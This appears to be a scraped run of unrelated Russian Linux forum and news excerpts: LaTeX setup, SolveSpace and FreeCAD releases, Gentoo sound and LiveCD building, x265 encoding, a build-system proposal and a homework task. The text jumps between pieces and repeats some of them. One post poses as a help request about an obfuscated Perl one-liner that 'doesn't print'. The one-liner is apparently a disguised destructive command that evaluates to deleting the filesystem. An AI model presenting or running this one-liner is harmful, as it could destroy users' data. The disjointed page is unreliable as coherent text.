pdflatex → lualatex: почти бесшовный переход
Простейшая шапка для документа, ориентированного на русскую типографику. Проверено на дистрибутиве TeX Live 2025. Кодировка по умолчанию юникодная.
( читать дальше... )
Простейшая шапка для документа, ориентированного на русскую типографику. Проверено на дистрибутиве TeX Live 2025. Кодировка по умолчанию юникодная.
( читать дальше... )
SolveSpace — свободная и открытая параметрическая 2D- и 3D-САПР для Linux, OS X и Windows. Программа весит всего пару мегабайт и обладает отличным интерфейсом и безграничными возможностями, добавляемыми сообществом почти каждый день.
В течении марта и апреля команда разработчиков SolveSpace проделала очень много работы над оптимизацией и добавлением новых опций.
Кроме того, оригинальным автором программы было принято решение об объединении официальной ветки разработки 2.0 с веткой форка 2.1. В последнем наконец-то появился давно ожидаемый импорт других форматов файлов, используемых во многих САПР.
Изменения в версии ветки 2.1 от 11 мая 2016г.:
Скачать бинарные сборки и исходники новой версии
>>> Подробности
Привет, всем! При настройке gentoo никак не запустить звук. Помогите, плз.
cat /proc/asound/cards
0 [PCH ]: HDA-Intel - HDA Intel PCH
HDA Intel PCH at 0xc1310000 irq 27
1 [HDMI ]: HDA-Intel - HDA ATI HDMI
HDA ATI HDMI at 0xc0020000 irq 28lspci | grep Audio
00:1b.0 Audio device: Intel Corporation 7 Series/C210 Series Chipset Family High Definition Audio Controller (rev 04)
01:00.1 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] Turks/Whistler HDMI Audio [Radeon HD 6000 Series]cat /etc/portage/make.conf
# These settings were set by the catalyst build script that automatically
# built this stage.
# Please consult /usr/share/portage/config/make.conf.example for a more
# detailed example.
CFLAGS="-O2 -pipe -march=native -mtune=native"
CXXFLAGS="${CFLAGS}"
# WARNING: Changing your CHOST is not something that should be done lightly.
# Please consult http://www.gentoo.org/doc/en/change-chost.xml before changing.
CHOST="x86_64-pc-linux-gnu"
# These are the USE flags that were used in addition to what is provided by the
# profile used for building.
USE="bindist mmx sse sse2 -gnome -kde -minimal -qt4 dbus jpeg lock \
session startup-notification thunar udev X alsa consolekit acl \
alsa-plugin"
PORTDIR="/usr/portage"
DISTDIR="${PORTDIR}/distfiles"
PKGDIR="${PORTDIR}/packages"
VIDEO_CARDS="radeon"
INPUT_DEVICES="evdev synaptics"
LINGUAS="ru"Доброго. При настройке звука через hdmi, который передается на ресивер, какие надо настройки в .asoundrc?
Я так понимаю, достаточно устройства (которое подключено) + буфер: period_size, buffer_size? Нужно ли добавлять каналы, формат + rate? Или этим всем занимается ресивер? Передаю звук через видео (Nvidia).
Тоесть:
pcm.dmixed {
type asym
playback.pcm {
type dmix
ipc_key 205031
ipc_perm 0660
ipc_gid audio
slave {
channels 2
pcm {
format S16_LE # S32_LE
rate 48000 # can also be 44100
type hw
card 0 # your card
device 7 # your device
}
period_size 1024
buffer_size 8192
}
bindings {
0 0
1 1
}
}
}
pcm.dmixed {
type asym
playback.pcm {
type dmix
ipc_key 20051
ipc_perm 0660
ipc_gid audio
slave {
pcm "hw:0,7"
soft_resample 0
period_time 0
buffer_time 0
periods 128
period_size 2048
buffer_size 65536
}
}
}
Прошу поправить, так как были сломаны уши со встроенной звуковой и заменены на нормальные ( подключаемые напрямую в ресивер). В связи с этим убираю Pulseaudio. Да, есть веб камера с микрофоном, так что совет Анона не полноценен.
Хочу построить баню. И так как в бане повышенная влажность, имеет смысл делать на металлическом каркасе. А тогда лучше заранее все разметить, нарезать профиль, насверлить отверстий, и собрать.
Собственно, хотелось бы помощь в виде CAD. Есть что под linux?
Есть под линух какой-нибудь кад (бесплатный, платный - пофиг), который нормально умеет файлы солида? Ключевое слово «нормально» - компас тоже умеет, но результат часто не айс. Если када нет - хоть плагин под блендер, пофиг. Или нормальный конвертер в STEP/IGES
И еще - можно ли как-либо сменить адский, страшный интерфейс freecad? В плане их значки размером с пятак и выглядят как черт знает что. Если с видом мириться еще можно, то размер надо точно меньше
Предлагаю в этой теме делиться ссылками на каналы tv-online.
Итак, коллеги, приветствуем: вышла в свет очередная легендарная версия универсальнейшего инструмента всех времён и народов системных администраторов.
Изменения по сравнению с версией 4.4.0:
Дружненько качаем и тестируем.
Эх, жаль whdd еще не обновили. Ебилда наверно свежего нет.
>>> Подробности
Доброе время суток.
Потратил некоторое время на то что бы разобраться - как же сделать свой livecd в gentoo. Собрал по кусочкам из нескольких мануалов, и вот что получилось.
Собирать будем из бинарных пакетов
export ACCEPT_KEYWORDS="amd64"
export PORTAGE_BINHOST="ssh://<binhost>/var/binpkgs/"
export ROOT=<где собираем>
mkdir -p $ROOT
git init $ROOT
USE="build" emerge --root=$ROOT -O baselayout
MAKEDEV -d $ROOT/dev console hda input ptmx std sd tty
rm -f $ROOT/dev/fd[0-9]*
rm -f $ROOT/dev/sd[a-d][a-z]* $ROOT/dev/sd[e-z]*
rm -f $ROOT/dev/tty[a-zA-Z]*
emerge --root=$ROOT -gK openrc vim bash vixie-cron gpm udev file findutils gawk grep \
groff iproute2 man man-pages-ru net-tools pciutils \
sed shadow usbutils util-linux which syslog-ng screen nfs-utils openssh wget socat rsync ntp \
gcc tar util-linux shadow udev procps psmisc cracklib gzip kbd dhcp
emerge --root=$ROOT -gK <ваши пакеты>
rm -rf $ROOT/var/tmp/*
rm -rf $ROOT/var/cache/*
rm -rf $ROOT/var/db
rm -rf $ROOT/tmp/*
rm -f $ROOT/etc/mtab
touch $ROOT/etc/mtab
rm -rf $ROOT/etc/portage
rm -rf $ROOT/usr/share/doc
rm -rf $ROOT/usr/src/
mount -o bind /dev $ROOT/dev
mount -t proc none $ROOT/proc
chroot $ROOT /bin/bash
<конфигурируем>
umount $ROOT/dev
umount $ROOT/proc
rm $ROOT/root/.bash_history
rm -f /var/tmp/genkernel/*
genkernel --no-install --all-ramdisk-modules --kerneldir=<path to kernel> --e2fsprogs --disklabel --oldconfig --busybox all --unionfs --menuconfig all
cd <kernel source>
INSTALL_MOD_PATH=$ROOT make modules_install
mkdir -p ./target/boot/grub
cp /var/tmp/genkernel/initramfs* ./target/
cp /var/tmp/genkernel/kernel* ./target/
cp /var/tmp/genkernel/System* ./target/
touch ./target/livecd
set default="0"
loadfont unicode
set gfxmode=800x600x32
insmod vbe
insmod vga
insmod gfxterm
set locale_dir=$prefix/locale
set lang=ru_RU
insmod gettext
terminal_output gfxterm
set timeout=2
menuentry 'Linux livecd' {
set gfxpayload=keep
insmod gzio
insmod part_msdos
insmod ext2
set root='cd,msdos1'
echo 'Загружается Linux '
linux (cd)/kernel-genkernel root=/dev/ram0 ro real_root=/dev/loop0 looptype=squashfs loop=/root.fs cdroot video=vesafb:ywrap,mtrr:3 console=tty1 quiet net.ifnames=0
echo 'Загружается начальный виртуальный диск …'
initrd (cd)/initramfs
}
echo ".git" > exclude.files
mksquashfs $ROOT ./target/root.fs -comp xz -ef exclude.files
grub2-mkrescue -d /usr/lib64/grub/i386-pc/ --modules="boot cat cpuid disk echo font file fshelp gettext gfxmenu gfxterm gfxterm_menu halt help iso9660 linux loopback ls lspci msdospart normal squash4 terminal vbe vga video xzio" -o cdrom.iso ./target
Какие будут замечания и предложения по данному методу?
Переписали движок с нуля на C++ под GPLv3+. Поддерживается OpenGL и GLSL.
По понятным причинам нужны оригинальные ресурсы.
Никто из разработчиков не пользует оффтоп, поэтому версия для него не в приоритете.
ffmpeg -i input.mp4 -pix_fmt yuv420p -loglevel quiet \
-f rawvideo - | ./x265 --input - --input-res 1280x720 -p slower \
--crf 24 --fps 29.667 out.265При кодировании raw yuv420 потока, x265 ничего не знает про input, поэтому resolution и fps надо указывать!
-p slower - это очень медленно. Хотите быстрее - уберите это (возможные значения: ultrafast, superfast, veryfast, faster, fast, medium (default), slow, slower, veryslow, placebo).
--crf 24 - качество (по умолчанию 28 - на мой взгляд мыло). Хотите ещё лучше - уменьшайте значение (0..51).
Если надо resize input, то ffmpeg -i input.mp4 -vf scale=1280x720 -sws_flags lanczos (да, я маньяк).
Как потом получить файл, который можно проигрывать?
ffmpeg -i video_steam -i audio_stream -c:v copy -c:a copy output.mkvkeywords: ffmpeg, pipe, x265, stdin, stdout, input resize
Основное
Part
PartDesign & Sketcher
Drawing
этот набор инструментов отвечает за проецирование(которое починили). также теперь можно добавлять внешние SVG объекты на чертеж.
Raytracing
Починил работу и теперь по мимо POV-ray поддерживается Luxrender
Spreadsheet
Новый модуль позволяет создавать таблицы, задел для параметрических моделей.
Draft
Этот набор инструментов для чистого 2D черчения.
Arch
Огромные подвижки в этом модуле: Окна, Объемы, Многослойные стены один из авторов сам архитектор и любит IFC и BIM. Но так как, сложно объяснить эти достижения, лучше посмотреть руководство по Arch Workbench
Ответы:
Assembly Workbench - не вошел в 0,14 версию, автор говорит что пришлось бы переписать весь PartDesign ... поэтому Assembly отложено, но его можно потестировать в отдельной ветке.
FEM Workbench - полностью интегрировано как отображение сетки так и постпроцесс, расчетчик пока Calculix. (Потестировать на Linux лично мне не удалось, пока сырое)
>>> Подробности
SimpleScreenRecorder, несмотря на название, включает в себя расширенные возможности и настройки для записи экранного видео, неполный список из заявленного:
Новое в версии 0.3.0 :
Есть пакеты для дистрибутивов: Ubuntu, Arch Linux, OpenSUSE, Debian, Gentoo, Fedora. Простая компиляция и установка для других дистрибутивов.
Ссылка проекта на GitHub с инструкциями по компиляции и списком зависимостей.
>>> Официальный сайт
Если быть кратким - на досуге написал простую 2D CAD программу. Может:
Принципы навигации и черчения похожи на те, что в автокаде, но с некоторой спецификой. Можно уже создавать простые чертежики:). Писано на Python 2 (больше ни на чем не умею), использованы только стандартные библиотеки. Уместилось в 8000 строк ужасного кода. Ссылка на SAMoCAD на SourceForge
Установки не требует, достаточно распаковать архив так, чтобы в пути не было кириллических символов и запустить файл SAMoCAD.pyw. Ну и само собой, должен быть установлен Python 2.
Хочется, чтобы кто-нибудь опробовал это творение и написал о своих ощущениях. Буду рад пожеланиям по части дальнейшей разработки, а также сообщениям об ошибках :-)
Запущен проект по созданию каталога пакетов LaTeX на IBM developer Works. Пока на сайте размещена только первая часть каталога, связанная с редактированием и выделением текста.
Зачем: Мне очень нравится идеология языка Perl (и др.) , где можно использовать имеющиеся наработки, как сборник рецептов. LaTeX можно использовать ровно также. Если не хватает базовой функциональности, то прежде чем городить свой код, имеет смысл глянуть на то, что уже сделано другими. Мне почти никогда не требовалось по этой причине что-то изобретать самостоятельно — достаточно умения читать документацию. Чего, чего, а документации в LaTeX хватает — надо только знать где эту документацию найти. Именно для этого я и составил каталог пакетов.
P.S. При составлении каталога была просмотрена документация к 1700+ пакетам TeX Live 2013. Объём каталога в текстовом виде составляет 180 тысяч знаков.
помогите, пожалуйста исправить такую программу:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
- не печатает
Из недавнего сообщения стало понятно, что универсального решения нету. На сколько я понял проблема в том, что cmake крут, но с ужасным синтаксисом и отвратным способом расширения.
Предлагаю «разработать» новую систему сборки с красивым и простым синтаксисом и большим кол-вом плюшек.
Чтобы было от чего отталкивался, предлагаю первый - очень грубый вариант:
файл solution - основной, с базовыми определениями.
solution = "hello"
# comment
flags.release = flags.02, flags.wall, flags.c++11, flags.sse41
flags.reldeb = flags.02, flags.g
смысл сборки такой, указываем bs(build system) файл solution, дальше система сканирует систему каталогов и ищет проекты.
существует возможность отключать проекты: однако если мы отключим проект «mylib», то получим ошибку, т.к. проект name требует mylib
project = c++ # supported: mingw, gcc, clang, icc, microsoft
name = "name"
type = app
version = 1.0.41
files.srcs = ["src/*.cpp"]
files.hdrs = ["src/*.hpp", "src/version.h"]
request = packages.Qt(>=4.7), packages.tbb(=3.0<=4.1), packages.boost(<=1.48.0), packages.mylib
project = c # на этапе конфигурации можно выбрать компилятор
name = "mylib"
version = 0.1.1
type = static lib
flags.release = flags.02, flags.wall
files.srcs = ["src/*.c"]
files.hdrs = ["src/*.h"]
request = packages.tbb(=3.0<=4.1), packages.boost(<=1.48.0)
project = tex # supported: miktex, texlive, ...
name = "tex_name"
type = pdf # pdf, ps, dvi
files.srcs = ["doc/*.tex"]
project = c++, cuda
name = "cuda_app"
type = app
use = false # по умолчанию отключен
files.srcs = ["src/*.cpp", "src/code.cu"]
files.hdrs = ["src/*.hpp"]
request = packages.cuda(=4.0)
теперь нет необходимости писать много года типа
find_package(Qt4 4.7.0 COMPONENTS QtCore QtGui QtNetwork REQUIRED)
include(${QT_USE_FILE})
include_directories( ${QT_INCLUDE_DIR} )
set(CMAKE_INCLUDE_DIRS_CONFIGCMAKE "${CMAKE_INCLUDE_DIRS_CONFIGCMAKE} ${QT_INCLUDE_DIR}")
set(QT_LIBS ${QT_LIBRARIES})
...
теперь можно так:
...
request = packages.Qt(>=4.7)
Возможность генерировать Visual Studio 2010, Eclipse, QtCreator(плагин), GNUMakefile, xCode, PythonScript(самосборка - типа scons/waf)
возможность использования ccache, distcc
предлагайте улучшения ...
Вот, собсно, само задание:
Дано натуральное число а (a≤100). Напишите программу, определяющую количество цифр в этом числе, сумму его цифр, выводящую на экран первую и последнюю цифру через два пробела.